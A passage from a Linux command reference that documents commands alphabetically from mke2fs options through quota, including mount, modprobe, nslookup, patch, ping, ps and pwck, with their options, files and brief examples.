Consult filename for a list of bad blocks.

-m percentage

Reserve percentage percent of the blocks for use by privileged users.

-q

Quiet mode.

-v

Verbose mode.

-S

Write only superblock and group descriptors; suppress writing of inode table and block and inode bitmaps. Useful only when attempting to salvage damaged systems.

mkfs

mkfs [options] [fs-options] filesys [blocks]

System administration command. Construct a filesystem on a device (such as a hard disk partition). filesys is either the name of the device or the mountpoint. mkfs is actually a frontend that invokes the appropriate version of mkfs according to a filesystem type specified by the -t option. For example, a Linux Second Extended Filesystem uses mkfs.ext2 (which is the same as mke2fs); MS-DOS filesystems use mkfs.msdos. fs-options are options specific to the filesystem type. blocks is the size of the filesystem in 1024-byte blocks.

Options

-V

Produce verbose output, including all commands executed to create the specific filesystem.

-t fs-type

Tells mkfs what type of filesystem to construct.

filesystem-specific options

These options must follow generic options and not be combined with them. Most filesystem builders support these three options:

-c

Check for bad blocks on the device before building the filesystem.

-l file

Read the file file for the list of bad blocks on the device.

-v

Produce verbose ouput.

mkfs.minix

mkfs.minix [options] device size

System administration command. Creates a MINIX filesystem. See mkfs.

mklost+found

mklost+found

System administration command. Create a lost+found directory in the current working directory. Intended for Linux Second Extended Filesystems.

mkraid

mkraid [options] devices

System administration command. Set up RAID array devices as defined in the /etc/raidtab configuration file. mkraid can be used to initialize a new array or upgrade older RAID device arrays for the new kernel. Initialization will destroy any data on the disk devices used to create the array.

Options

-c file, --configfile file

Use file instead of /etc/raidtab.

-f, --force

Initialize the devices used to create the RAID array even if they currently have data.

-h, --help

Print a usage message and then exit.

-o, --upgrade

Upgrade an older array to the current kernel's RAID version. Preserve data on the old array.

-V, --version

Print version information and then exit.

mkswap

mkswap [option] device [size]

System administration command. Create swap space on device. You may specify its size in blocks; each block is a page of about 4KB.

Option

-c

Check for bad blocks before creating the swap space.

modprobe

modprobe [options] [modules]

System administration command. With no options, attempt to load the specified module, as well as all modules on which it depends. If more than one module is specified, attempt to load further modules only if the previous module failed to load.

Options

-a

Load all listed modules, not just the first one.

-l [pattern]

List all existing modules. This option may be combined with -t to specify a type of module, or you may include a pattern to search for.

-r

Remove the specified modules, as well as the modules on which they depend.

-t type

Load only a specific type of module. Consult /etc/conf.modules for the directories in which all modules of that type reside.

Files

/etc/conf.modules

Information about modules: which ones depend on others, which directories correspond to particular types of modules.

/sbin/insmod, /sbin/rmmod, /sbin/depmod

Programs that modprobe relies on.

more

more [options] [files]

Display the named files on a terminal, one screenful at a time. See less for an alternative to more. Some commands can be preceded by a number.

Options

+num

Begin displaying at line number num.

-num number

Set screen size to number lines.

+/pattern

Begin displaying two lines before pattern.

-c

Repaint screen from top instead of scrolling.

-d

Display the prompt "Hit space to continue, Del to abort" in response to illegal commands; disable bell.

-f

Count logical rather than screen lines. Useful when long lines wrap past the width of the screen.

-l

Ignore form-feed (Ctrl-L) characters.

-p

Page through the file by clearing each window instead of scrolling. This is sometimes faster.

-r

Force display of control characters, in the form ^x.

-s

Squeeze; display multiple blank lines as one.

-u

Suppress underline characters.

Commands

All commands in more are based on vi commands. An argument can precede many commands.

SPACE

Display next screen of text.

z

Display next lines of text, and redefine a screenful to lines lines. Default is one screenful.

RETURN

Display next lines of text, and redefine a screenful to lines lines. Default is one line.

d, ^D

Scroll lines of text, and redefine scroll size to lines lines. Default is one line.

q, Q, INTERRUPT

Quit.

s

Skip forward one line of text.

f

Skip forward one screen of text.

b, ^B

Skip backward one screen of text.

'

Return to point where previous search began.

=

Print number of current line.

/pattern

Search for pattern, skipping to numth occurrence if an argument is specified.

n

Repeat last search, skipping to numth occurrence if an argument is specified.

!cmd, :!cmd

Invoke shell and execute cmd in it.

v

Invoke vi editor on the file, at the current line.

^L

Redraw screen.

:n

Skip to next file.

:p

Skip to previous file.

:f

Print current filename and line number.

.

Reexecute previous command.

Examples

Page through file in "clear" mode, and display prompts:

more -cd file

Format doc to the screen, removing underlines:

nroff doc | more -u

View the manpage for the grep command; begin near the word "BUGS" and compress extra whitespace:

man grep | more +/BUGS -s

mount

mount [options] [special-device] [directory]

System administration command. Mount a file structure. mount announces to the system that a removable file structure is present on special-device. The file structure is mounted on directory, which must already exist and should be empty; it then becomes the name of the root of the newly mounted file structure. If mount is invoked with no arguments, it displays the name of each mounted device, the directory on which it is mounted, whether the file structure is read-only, and the date it was mounted. Only a privileged user can use the mount command.

Options

-a

Mount all filesystems listed in /etc/fstab. Note: this is the only option that cannot take a special-device or node argument.

-f

Fake mount. Go through the motions of checking the device and directory, but do not actually mount the filesystem.

-n

Do not record the mount in /etc/mtab.

-o option

Note: this is the only option to mount that requires a special-device or node argument. Qualify the mount with one of the specified options:

async

Read input and output to the device asynchronously.

auto

Allow mounting with the -a option.

defaults

Use all options' default values (async, auto, dev, exec, nouser, rw, suid).

dev

Interpret any special devices that exist on the filesystem.

exec

Allow binaries to be executed.

noauto

Do not allow mounting via the -a option.

nodev

Do not interpret any special devices that exist on the filesystem.

noexec

Do not allow the execution of binaries on the filesystem.

nosuid

Do not acknowledge any suid or sgid bits.

nouser

Only privileged users will have access to the filesystem.

remount

Expect the filesystem to have already been mounted, and remount it.

ro

Allow read-only access to the filesystem.

rw

Allow read/write access to the filesystem.

suid

Acknowledge suid and sgid bits.

sync

Read input and output to the device synchronously.

user

Allow unprivileged users to mount the filesystem. Note that the defaults on such a system will be nodev, noexec, and nosuid, unless otherwise specified.

check=relaxed|normal|strict

Specify how strictly to regulate the integration of an MS-DOS filesystem when mounting it.

conv=binary|text|auto

Specify method by which to convert files on MS-DOS and ISO 9660 filesystems.

debug

Turn debugging on for MS-DOS and ext2fs filesystems.

errors=continue|remount|ro|panic

Specify action to take when encountering an error. ext2fs filesystems only.

-r

Mount filesystem read-only.

-t type

Specify the filesystem type. Possible values are: minix, ext, ext2, xiafs, hpfs, msdos, umsdos, vfat, proc, nfs, iso9660, smbfs, ncpfs, affs, ufs, romfs, sysv, xenix, and coherent. Note that ext and xiafs are valid only for kernels older than 2.1.21 and that sysv should be used instead of xenix and coherent.

-v

Display mount information verbosely.

-w

Mount filesystem read/write. This is the default.

Files

/etc/fstab

List of filesystems to be mounted and options to use when mounting them.

/etc/mtab

List of filesystems that are currently mounted and the options with which they were mounted.

mountd

rpc.mountd [options]

NFS/NIS command. NFS mount request server. mountd reads the file /etc/exports to determine which filesystems are available for mounting by which machines. It also provides information as to what filesystems are mounted by which clients. See also nfsd.

Options

-d, --debug

Debug mode. Output all debugging information via syslogd.

-f file, --exports-file file

Read the export permissions from file instead of /etc/exports.

-n, --allow-non-root

Accept even those mount requests that enter via a non-reserved port.

-p, --promiscuous

Accept requests from any host that sends them.

-r, --re-export

Allow re-exportation of imported filesystems.

-v, --version

Print the version number.

File

/etc/exports

Information about mount permissions.

mv

mv [option] sources target

Move or rename files and directories. The source (first column) and target (second column) determine the result (third column):

Source | Target | Result
File | name (nonexistent) | Rename file to name.
File | Existing file | Overwrite existing file with source file.
Directory | name (nonexistent) | Rename directory to name.
Directory | Existing directory | Move directory to be a subdirectory of existing directory.
One or more files | Existing directory | Move files to directory.

Options

-b, --backup

Back up files before removing.

-f, --force

Force the move, even if target file exists; suppress messages about restricted access modes.

--help

Print a help message and then exit.

-i, --interactive

Query user before removing files.

-u, --update

Do not remove a file or link if its modification date is the same as or newer than that of its replacement.

-v, --verbose

Print the name of each file before moving it.

--version

Print version information and then exit.

-S suffix, --suffix=suffix

Override the SIMPLE_BACKUP_SUFFIX environment variable, which determines the suffix used for making simple backup files. If the suffix is not set either way, the default is a tilde (~).

-V value, --version-control=value

Override the VERSION_CONTROL environment variable, which determines the type of backups made. The acceptable values for version control are:

t, numbered

Always make numbered backups.

nil, existing

Make numbered backups of files that already have them, simple backups of the others. The default.

never, simple

Always make simple backups.

named

named [options]

TCP/IP command. Internet domain name server. named is used by resolver libraries to provide access to the Internet distributed naming database. With no arguments, named reads /etc/named.boot for any initial data and listens for queries on a privileged port. See RFC 1034 and RFC 1035 for more details.

There are several named binaries available at different Linux archives, displaying various behaviors. If your version doesn't behave like the one described here, never fear -- it should have come with documentation.

Options

-d debuglevel

Print debugging information. debuglevel is a number indicating the level of messages printed.

-p port

Use port as the port number. Default is 42.

[-b] bootfile

File to use instead of named.boot. The -b is optional and allows you to specify a filename that begins with a leading dash.

File

/etc/named.boot

Read when named starts up.

namei

namei [options] pathname [pathname . . .]

Follow a pathname until a terminal point is found (e.g., a file, directory, char device, etc.). If namei finds a symbolic link, it shows the link and starts following it, indenting the output to show the context. namei prints an informative message when the maximum number of symbolic links this system can have has been exceeded.

Options

-m

Show the mode bits of each file type in the style of ls; for example: "rwxr-xr-x".

-x

Show mountpoint directories with a D, rather than a d.

File type characters

For each line of output, namei prints the following characters to identify the file types found:

-

A regular file

?

An error of some kind

b

A block device

c

A character device

d

A directory

f:

The pathname namei is currently trying to resolve

l

A symbolic link (both the link and its contents are output)

s

A socket

netdate

netdate [options] [protocol] hostname...

TCP/IP command. Set the system time according to the time provided by one of the hosts in the list hostname. netdate tries to ascertain which host is the most reliable source. When run by an unprivileged user, netdate reports the current time, without attempting to set the system clock. You may specify the protocol -- udp (the default) or tcp -- once, or several times for various hosts.

Options

-l time

The most reliable host is chosen from the list by sorting the hosts into groups based on the times they return when questioned. The first host from the largest group is then polled a second time. The differences between its time and the local host's time on each poll are recorded. These two differences are then compared. If the gap between them is greater than time (the default is five seconds), the host is rejected as inaccurate.

-v

Display the groups into which hosts are sorted.

netstat

netstat [options]

TCP/IP command. Show network status. For all active sockets, print the protocol, the number of bytes waiting to be received, the number of bytes to be sent, the port number, the remote address and port, and the state of the socket.

Options

-a

Show the state of all sockets, not just active ones.

-c

Display information continuously, refreshing once every second.

-i

Include statistics for network devices.

-n

Show network addresses as numbers.

-o

Include additional information such as username.

-r

Show routing tables.

-t

List only TCP sockets.

-u

List only UDP sockets.

-v

Print the version number and exit.

-w

List only raw sockets.

-x

List only Unix domain sockets.

newgrp

newgrp [group]

Change user's group identification to the specified group. If no group is specified, change to the user's login group. The new group is then used for checking permissions.

newusers

newusers file

System administration command. Create or update system users from entries in file. Each line in file has the same format as an entry in /etc/passwd, except passwords are unencrypted, and group IDs can be given as a name or number. During an update, the password age field is ignored if the user already exists in the /etc/shadow password file. If a group name or ID does not already exist, it will be created. If a home directory does not exist, it will be created.

nfsd

rpc.nfsd [options]

System administration command. Daemon that starts the NFS server daemons that handle client filesystem requests. These daemons are user-level processes. The options are exactly the same as in mountd.

nice

nice [option] [command [arguments]]

Execute a command (with its arguments) with lower priority (i.e., be "nice" to other users). With no arguments, nice prints the default scheduling priority (niceness). If nice is a child process, it prints the parent process's scheduling priority. Niceness has a range of -20 (highest priority) to 19 (lowest priority).

Options

--help

Print a help message and then exit.

-n adjustment, -adjustment, --adjustment=adjustment

Run command with niceness incremented by adjustment (1-19); default is 10. A privileged user can raise priority by specifying a negative adjustment (e.g., -5).

--version

Print version information and then exit.

nm

nm [options] [objfiles]

Print the symbol table (name list) in alphabetical order for one or more object files. If no object files are specified, perform operations on a.out. Output includes each symbol's value, type, size, name, and so on. A key letter categorizing the symbol can also be displayed. If no object file is given, use a.out.

Options

-a, --debug-syms

Print debugger symbols.

-f format

Specify output format (bsd, sysv, or posix). Default is bsd.

-g, --extern-only

Print external symbols only.

-n, -v, --numeric-sort

Sort the external symbols by address.

-p, --no-sort

Don't sort the symbols at all.

-r, --reverse-sort

Sort in reverse, alphabetically or numerically.

--size-sort

Sort by size.

-u, --undefined-only

Report only the undefined symbols.

-A, -o, -print-file-name

Print input filenames before each symbol.

-C, --demangle

Translate low-level symbol names into readable versions.

-D, --dynamic

Print dynamic, not normal, symbols. Useful only when working with dynamic objects (some kinds of shared libraries, for example).

-P, --portability

Same as -f posix.

-V, --version

Print nm's version number on standard error.

nohup

nohup command [arguments]

Run the named command with its optional command arguments, continuing to run it even after you log out (make command immune to hangups; i.e., no hangup). TTY output is appended to the file nohup.out by default. Modern shells preserve background commands by default; this command is necessary only in the original Bourne shell.

nslookup

nslookup [-option...] [host_to_find | - [server ]]

TCP/IP command. Query Internet domain name servers. nslookup has two modes: interactive and noninteractive. Interactive mode allows the user to query name servers for information about various hosts and domains or to print a list of hosts in a domain. It is entered either when no arguments are given (default name server will be used) or when the first argument is a hyphen and the second argument is the hostname or Internet address of a name server. Noninteractive mode is used to print just the name and requested information for a host or domain. It is used when the name of the host to be looked up is given as the first argument. Any of the keyword=value pairs listed under the interactive set command can be used as an option on the command line by prefacing the keyword with a -. The optional second argument specifies a name server.

Options

All of the options under the set interactive command can be entered on the command line, with the syntax -keyword[=value].

Interactive commands

exit

Exit nslookup.

finger [name] [>|>>filename]

Connect with finger server on current host, optionally creating or appending to filename.

help, ?

Print a brief summary of commands.

host [server]

Look up information for host using the current default server or using server if specified.

ls -[ahd] domain [>|>>filename]

List information available for domain, optionally creating or appending to filename. The -a option lists aliases of hosts in the domain. -h lists CPU and operating system information for the domain. -d lists all contents of a zone transfer.

lserver domain

Change the default server to domain. Use the initial server to look up information about domain.

root

Change default server to the server for the root of the domain namespace.

server domain

Change the default server to domain. Use the current default server to look up information about domain.

set keyword[=value]

Change state information affecting the lookups. Valid keywords are:

all

Print the current values of the frequently used options to set.

class=name

Set query class to IN (Internet), CHAOS, HESIOD, or ANY. Default is IN.

domain=name

Change default domain name to name.

[no]debug

Turn debugging mode on or off.

[no]d2

Turn exhaustive debugging mode on or off.

[no]defname

Append default domain name to every lookup.

[no]ignoretc

Ignore truncate error.

[no]recurse

Tell name server to query or not query other servers if it does not have the information.

[no]search

With defname, search for each name in parent domains of current domain.

[no]vc

Always use a virtual circuit when sending requests to the server.

port=port

Connect to name server using port.

querytype=value

See type=value.

retry=number

Set number of retries to number.

root=host

Change name of root server to host.

srchlist=domain

Set search list to domain.

timeout=number

Change timeout interval for waiting for a reply to number seconds.

type=value

Change type of information returned from a query to one of:

A | Host's Internet address
ANY | Any available information
CNAME | Canonical name for an alias
HINFO | Host CPU and operating system
type
MD | Mail destination
MG | Mail group member
MINFO | Mailbox or mail list
information
MR | Mail rename domain name
MX | Mail exchanger
NS | Nameserver for the named zone
PTR | Hostname or pointer to other
information
SOA | Domain start-of-authority
TXT | Text information
UINFO | User information
WKS | Supported well-known services
view filename

Sort and list output of previous ls command(s) with more.

passwd

passwd [user]

Create or change a password associated with a user name. Only the owner or a privileged user may change a password. Owners need not specify their user name.

paste

paste [options] files

Merge corresponding lines of one or more files into tab- separated vertical columns. See also cut, join, and pr.

Options

-

Replace a filename with the standard input.

-d char, --delimiters=char

Separate columns with char instead of a tab. Note: you can separate columns with different characters by supplying more than one char.

--help

Print a help message and then exit.

--version

Print version information and then exit.

-s, --serial

Merge lines from one file at a time.

Examples

Create a three-column file from files x, y, and z:

paste x y z > file

List users in two columns:

who | paste - -

Merge each pair of lines into one line:

paste -s -d"\t\n" list
patch

patch [options] [original [patchfile]]

Apply the patches specified in patchfile to original. Replace the original with the new, patched version; move the original to original.orig or original~.

Options

+ [options] [original2]

Apply patches again, with different options or a different original file.

-b, --backup

Back up the original file.

-z suffix, --suffix=suffix

Back up the original file in original.suffix.

-B prefix, --prefix=prefix

Prepend prefix to the backup filename.

-c, --context

Interpret patchfile as a context diff.

-d dir, --directory=dir

cd to directory before beginning patch operations.

-D string, --ifdef=string

Mark all changes with:

    #ifdef
       string
    #endif
-e, --ed

Treat the contents of patchfile as ed commands.

-E, --remove-empty-files

If patch creates any empty files, delete them.

-f, --force

Force all changes, even those that look incorrect. Skip patches if the original file does not exist; force patches for files with the wrong version specified; assume patches are never reversed.

-i file, --input=file

Read patch from file instead of stdin.

-t, --batch

Skip patches if the original file does not exist.

-F num, --fuzz=num

Specify the maximum number of lines that may be ignored (fuzzed over) when deciding where to install a hunk of code. The default is 2. Meaningful only with context diffs.

-l, --ignore-whitespace

Ignore whitespace while pattern matching.

-n, --normal

Interpret patch file as a normal diff.

-N, --forward

Ignore patches that appear to be reversed or to have already been applied.

-o file, --output=file

Print output to file.

-p[num], --strip[=num]

Specify how much of preceding pathname to strip. A num of 0 strips everything, leaving just the filename. 1 strips the leading /; each higher number after that strips another directory from the left.

-r file, --reject-file=file

Place rejects (hunks of the patch file that patch fails to place within the original file) in file. Default is original.rej.

-R, --reverse

Do a reverse patch: attempt to undo the damage done by patching with the old and new files reversed.

-s, --silent, --quiet

Suppress commentary.

-u, --unified

Interpret patch file as a unified context diff.

-V method, --version-control=method

Specify method for creating backup files (overridden by -B):

t, numbered

Make numbered backups.

nil, existing

Back up files according to preexisting backup schemes, with simple backups as the default. This is patch's default behavior.

never, simple

Make simple backups.

Environment variables

TMPDIR

Specify the directory for temporary files, /tmp by default.

SIMPLE_BACKUP_SUFFIX

Suffix to append to backup files instead of .orig or ~.

VERSION_CONTROL

Specify what method to use in naming backups (see -V).

pathchk

pathchk [ option ] filenames

Determine validity and portability of filenames. Specifically, determine if all directories within the path are searchable and if the length of the filenames is acceptable.

Options

-p, --portability

Check portability for all POSIX systems.

--help

Print a help message and then exit.

--version

Print version information and then exit.

pcnfsd

/usr/sbin/rpc.pcnfsd

NFS/NIS command. NFS authentication and print request server. pcnfsd is an RPC server that supports ONC clients on PC systems. pcnfsd reads the configuration file /etc/pcnfsd.conf, if present, then services RPC requests directed to program number 150001. This current release of the pcnfsd daemon (as of this printing) supports both Version 1 and Version 2 of the pcnfsd protocol. Requests serviced by pcnfsd fall into three categories: authentication, printing, and other. Only the authentication and printing services have administrative significance.

Authentication

When pcnfsd receives a PCNFSD_AUTH or PCNFSD2_AUTH request, it will log in the user by validating the username and password, returning the corresponding user ID, group IDs, home directory, and umask. At this time, pcnfsd will also append a record to the wtmp database. If you do not want to record PC logins in this way, add the line:

wtmp off

to the /etc/pcnfsd.conf file.

Printing

pcnfsd supports a printing model based on the use of NFS to transfer the actual print data from the client to the server. The client system issues a PCNFSD_PR_INIT or PCNFSD2_PR_INIT request, and the server returns the path to a spool directory that the client may use and that is exported by NFS. pcnfsd creates a subdirectory for each of its clients; the parent directory is normally /usr/spool/pcnfs and the subdirectory is the hostname of the client system. If you want to use a different parent directory, add the line:

spooldir path

to the /etc/pcnfsd.conf file. Once a client has mounted the spool directory and has transferred print data to a file in this directory, pcnfsd will issue a PCNFSD_PR_START or PCNFSD2_PR_START request. pcnfsd constructs a command based on the printing services of the server operating system and executes the command using the identity of the PC user. Every print request includes the name of the printer to be used. pcnfsd interprets a printer as either a destination serviced by the system print spooler or as a virtual printer. Virtual printers are defined by the following line in the /etc/pcnfsd.conf file:

printer name alias-for command

where name is the name of the printer you want to define, alias-for is the name of a real printer that corresponds to this printer, and command is a command that will be executed whenever a file is printed on name.

perl

perl

A powerful text-processing language that combines many of the most useful features of shell programs, C, awk, and sed, as well as adding extended features of its own. For more information, see Learning Perl by Randal L. Schwartz and Programming Perl, 2d ed., by Larry Wall, Tom Christiansen, and Randal L. Schwartz.

pidof

pidof [options] programs

Display the process IDs of the listed program or programs. pidof is actually a symbolic link to killall5.

Options

-o pids

Omit all processes with the specified process ID. You may list several process IDs.

-s

Return a single process ID.

-x

Also return process IDs of shells running the named scripts.

ping

ping [options] host

System administration command. Confirm that a remote host is online and responding. ping is intended for use in network testing, measurement, and management. Because of the load it can impose on the network, it is unwise to use ping during normal operations or from automated scripts.

Options

-c count

Stop after sending (and receiving) count ECHO_RESPONSE packets.

-d

Set SO_DEBUG option on socket being used.

-f

Flood ping-output packets as fast as they come back or 100 times per second, whichever is more. This can be very hard on a network and should be used with caution; only a privileged user may use this option.

-i wait

Wait wait seconds between sending each packet. Default is to wait 1 second between each packet. This option is incompatible with the -f option.

-l preload

Send preload number of packets as fast as possible before falling into normal mode of behavior.

-n

Numeric output only. No attempt will be made to look up symbolic names for host addresses.

-p digits

Specify up to 16 pad bytes to fill out packet sent. This is useful for diagnosing data-dependent problems in a network. digits are in hex. For example, -p ff will cause the sent packet to be filled with all 1s.

-q

Quiet output -- nothing is displayed except the summary lines at startup time and when finished.

-r

Bypass the normal routing tables and send directly to a host on an attached network.

-s packetsize

Specify number of data bytes to be sent. Default is 56, which translates into 64 ICMP data bytes when combined with the 8 bytes of ICMP header data.

-v

Verbose -- list ICMP packets received other than ECHO_RESPONSE.

-R

Set the IP record route option, which will store the route of the packet inside the IP header. The contents of the record route will be printed if the -v option is given, and will be set on return packets if the target host preserves the record route option across echoes or the -l option is given.

pop2d

in.pop2d

System administration command. Allow users to connect to port 109 and request the contents of their mailbox in /var/spool/mail. pop2d requires a username and password before providing mail and can serve individual messages. See also pop3d.

Commands

Each command must be entered on a separate line.

HELO

Prompt for username and password.

FOLD

Open /var/spool/mail/$USER.

HOST

Open /var/spool/pop/$USER.

READ

Read a message.

RETR

Retrieve a message.

ACKS

Save the last message retrieved and move to next message.

ACKD

Delete the last message retrieved and move to next message.

NACK

Save the last message retrieved and expect to resend it.

QUIT

Exit.

pop3d

in.pop3d

System administration command. pop3d is a more recent version of pop2d. It behaves similarly but accepts a slightly different list of commands.

Commands

USER

Prompt for name.

PASS

Prompt for password.

STAT

Display the number of messages in the mailbox and its total size.

LIST

Display individual messages' sizes.

DELE

Delete a message.

NOOP

Perform a null operation.

LAST

Print the number of the most recently received message that has been read.

RSET

Reset: clear all deletion marks.

TOP

Print the first part of a message.

QUIT

Exit.

portmap

rpc.portmap [option]

NFS/NIS command. RPC program number to IP port mapper. portmap is a server that converts RPC program numbers to IP port numbers. It must be running in order to make RPC calls. When an RPC server is started, it tells portmap what port number it is listening to and what RPC program numbers it is prepared to serve. When a client wishes to make an RPC call to a given program number, it first contacts portmap on the server machine to determine the port number where RPC packets should be sent. portmap must be the first RPC server started.

Option

-d

Run portmap in debugging mode. Does not allow portmap to run as a daemon.

powerd

powerd device

System administration command. Monitor the connection to an uninterruptible power supply, which the user must specify via device. When power goes low, signal init to run its powerwait and powerfail entries; when full power is restored, signal init to run its powerokwait entries.

pppd

pppd [options] [tty] [speed]

System administration command. PPP stands for the Point-to-Point Protocol; it allows datagram transmission over a serial connection. pppd attempts to configure tty for PPP (searching in /dev) or, by default, the controlling terminal. You can also specify a baud rate of speed.

Options

asyncmap map

Specify which control characters cannot pass over the line. map should be a 32-bit hex number, where each bit represents a character to escape. For example, bit 00000001 represents the character 0x00; bit 80000000 represents the character 0x1f or _. You may specify multiple characters.

auth

Require self-authentication by peers before allowing packets to move.

connect command

Connect as specified by command, which may be a binary or shell command.

debug, -d

Increment the debugging level.

defaultroute

Add a new default route in which the peer is the gateway. When the connection shuts down, remove the route.

-detach

Operate in the foreground. By default, pppd forks and operates in the background.

disconnect command

Close the connection as specified by command, which may be a binary or shell command.

domain d

Specify a domain name of d.

escape character-list

Escape all characters in character-list, which should be a comma-separated list of hex numbers. You cannot escape 0x20-0x3f or 0x5e.

file file

Consult file for options.

lock

Allow only pppd to access the device.

mru bytes

Refuse packets of more than bytes bytes.

name name

Specify a machine name for the local system.

netmask mask

Specify netmask (for example, 255.255.255.0).

passive, -p

Do not exit if peer does not respond to attempts to initiate a connection. Instead, wait for a valid packet from the peer.

silent

Send no packets until after receiving one.

[local_IP_address]:[remote_IP_address]

Specify the local and/or remote interface IP addresses, as hostnames or numeric addresses.

Files

/var/run/pppn.pid

pppd's process ID. The n in pppn.pid is the number of the PPP interface unit corresponding to this pppd process.

/etc/ppp/ip-up

Binary or script to be executed when the PPP link becomes active.

/etc/ppp/ip-down

Binary or script to be executed when the PPP link goes down.

/etc/ppp/pap-secrets

Contains usernames, passwords, and IP addresses for use in PAP authentication.

/etc/ppp/options

System defaults. Options in this file are set before the command-line options.

~/.ppprc

The user's default options. These are read before command-line options but after the system defaults.

/etc/ppp/options.ttyname

Name of the default serial port.

pr

pr [files]

Convert a text file or files to a paginated, columned version, with headers. If - is provided as the filename, read from standard input.

Options

+beg_pag[:end-pag], --pages=[beg_pag[:end-pag]

Begin printing on page beg_pag and end on end-pag if specified.

-num_cols, --columns=num_cols

Print in num_cols number of columns, balancing the number of lines in the columns on each page.

-a, --across

Print columns horizontally, not vertically.

-c, --show-control-chars

Convert control characters to hat notation (such as ^C) and other unprintable characters to octal backslash format.

-d, --double-space

Double space.

-e[tab-char[width]], --expand-tabs=[tab-char[width]]

Convert tabs (or tab-chars) to spaces. If width is specified, convert tabs to width characters (default is 8).

-f, -F, --form-feed

Separate pages with form feeds, not newlines.

-h header, --header=header

Use header for the header instead of the filename.

-i[out-tab-char[out-tab-width]], --output-tabs[=out-tab-char[out-tab-width]]

Replace spaces with tabs on output. Can specify alternative tab character (default is tab) and width (default is 8).

-J, --join-lines

Merge full lines; ignore -W if set.

-l lines, --length=lines

Set page length to lines (default 66). If lines is less than 10, omit headers and footers.

-m, --merge

Print all files, one file per column.

-n[delimiter[digits]], --number-lines[=delimiter[digits]]

Number columns, or, with the -m option, number lines. Append delimiter to each number (default is a tab) and limit the size of numbers to digits (default is 5).

-o width, --indent=width

Set left margin to width.

-r, --no-file-warnings

Continue silently when unable to open an input file.

-s[delimiter], --separator[=delimiter]

Separate columns with delimiter (default is a tab) instead of spaces.

-S[string], --sep-string[=string]

Separate columns with string. Default is a tab with -J and a space otherwise.

-t, --omit-header

Suppress headers, footers, and fills at end of pages.

-T, --omit-pagination

Like -t but also suppress form feeds.

-v, --show-non-printing

Convert unprintable characters to octal backslash format.

-w page_width, --width=page_width

Set the page width to page_width characters for multi-column output. Default is 72.

-W page_width, --page-width=page_width

Set the page width to always be page_width characters. Default is 72.

--help

Print a help message and then exit.

--version

Print version information and then exit.

praliases

praliases [option]

System administration command. praliases prints the current sendmail mail aliases. (Usually defined in the /etc/aliases or /etc/aliases.db file.)

Option

-f file

Read the aliases from the specified file instead of sendmail's default alias files.

printenv

printenv [variables]

Print values of all environment variables or, optionally, only the specified variables.

printf

printf formats [strings]

Print strings using the specified formats. formats can be ordinary text characters, C-language escape characters, or more commonly, a set of conversion arguments listed here.

Arguments

%s

Print the next string.

%n$s

Print the nth string.

%[-]m[.n]s

Print the next string, using a field that is m characters wide. Optionally, limit the field to print only the first n characters of string. Strings are right-adjusted unless the left-adjustment flag, -, is specified.

Examples

printf '%s %s\n' "My files are in" $HOME
printf '%-25.15s %s\n' "My files are in" $HOME
ps

ps [options]

Report on active processes. Note that you do not need to include a - before options. In options, list arguments should either be separated by commas or be put in double quotes. In comparing the amount of output produced, note that e prints more than a and l prints more than f.

Options

pids

Include only specified processes, which are given in a comma-delimited list.

a

List all processes.

c

Consult task_struct for command name.

e

Include environment.

f

"Forest" family tree format.

h

Suppress header.

j

Jobs format.

l

Produce a long listing.

m

Memory format.

n

Print user IDs and WCHAN numerically.

r

Exclude processes that are not running.

s

Signal format.

--sort delimiter[+|-]key[,[+|-]key[,...]]

Similar to O, but designed to protect multiletter sort keys. See the later list, "Sort keys".

t tty

Display only processes running on tty.

u

Include username and start time.

v

vm format.

w

Wide format. Don't truncate long lines.

x

Include processes without an associated terminal.

O[+|-]key[,[+|-]key[,...]]

Sort processes. (See the following list, "Sort keys.")

+

Return key to default direction.

-

Reverse default direction on key.

S

Include child processes' CPU time and page faults.

Sort keys

c, cmd

Name of executable.

C, cmdline

Whole command line.

f, flags

Flags.

g, pgrp

Group ID of process.

G, tpgid

Group ID of associated tty.

j, cutime

Cumulative user time.

J, cstime

Cumulative system time.

k, utime

User time.

K, stime

System time.

m, min_flt

Number of minor page faults.

M, maj_flt

Amount of major page faults.

n, cmin_flt

Total minor page faults.

N, cmaj_flt

Total major page faults.

o, session

Session ID.

p, pid

Process ID.

P, ppid

Parent's process ID.

r, rss

Resident set size.

R, resident

Resident pages.

s, size

Kilobytes of memory used.

S, share

Number of shared pages.

t, tty

tty.

T, start_time

Process's start time.

U, uid

User ID.

u, user

User's name.

v, vsize

Bytes of VM used.

y, priority

Kernel's scheduling priority.

Fields

PRI

Process's scheduling priority. A higher number indicates lower priority.

NI

Process's nice value. A higher number indicates less CPU time.

SIZE

Size of virtual image.

RSS

Resident set size (amount of physical memory), in kilobytes.

WCHAN

Kernel function in which process resides.

STAT

Status:

R

Runnable

T

Stopped

D

Asleep and not interruptible

S

Asleep

Z

Zombie

W

No resident pages (second field)

N

Positive nice value (third field)

TT

Associated tty.

PAGEIN

Number of major page faults.

TRS

Size of resident text.

SWAP

Amount of swap used, in kilobytes.

SHARE

Shared memory.

psupdate

psupdate [mapfile]

System administration command. Update the psupdate database (on some systems /boot/psupdate; on others, /etc/psdatabase), which contains information about the kernel image system map file. If no mapfile is specified, psupdate uses the default (which is either /usr/src/linux/vmlinux or /usr/src/linux/tools/zSystem, depending on the distribution).

pwck

pwck [option] [files]

System administration command. Remove corrupt or duplicate entries in the /etc/passwd and /etc/shadow files. pwck will prompt for a "yes" or "no" before deleting entries. If the user replies "no," the program will exit. Alternate passwd and shadow files can be checked. If correctable errors are found, the user will be encouraged to run the usermod command.

Option

-n

Noninteractive mode. Don't prompt for input, and delete no entries. Return appropriate exit status.

Exit status

0

Success.

1

Syntax error.

2

One or more bad password entries found.

3

Could not open password files.

4

Could not lock password files.

5

Could not write password files.

pwconv

pwconv

pwunconv

System administration command. Convert unshadowed entries in /etc/passwd into shadowed entries in the /etc/shadow file. Replace the encrypted password in /etc/password with an x. Shadowing passwords keeps them safe from password cracking programs. pwconv creates additional expiration information for the /etc/shadow file from entries in your /etc/login.defs file. If you add new entries to the /etc/passwd file, you can run pwconv again to transfer the new information to /etc/shadow. Already shadowed entries are ignored. pwunconv restores the encrypted passwords to your /etc/passwd file and removes the /etc/shadow file. Some expiration information is lost in the conversion.

pwd

pwd

Print the full pathname of the current working directory. See also the dirs shell command, built in to both bash and csh/tcsh.

quota

quota [options] [user|group]

Display disk usage and total space allowed for a designated user or group. With no argument, the quota for the current user is displayed. This command reports quotas for all filesystems listed in /etc/fstab.

Options

-g

Given with a user argument, display the quotas for the groups of which the user is a member, instead of the user's quotas.

-q

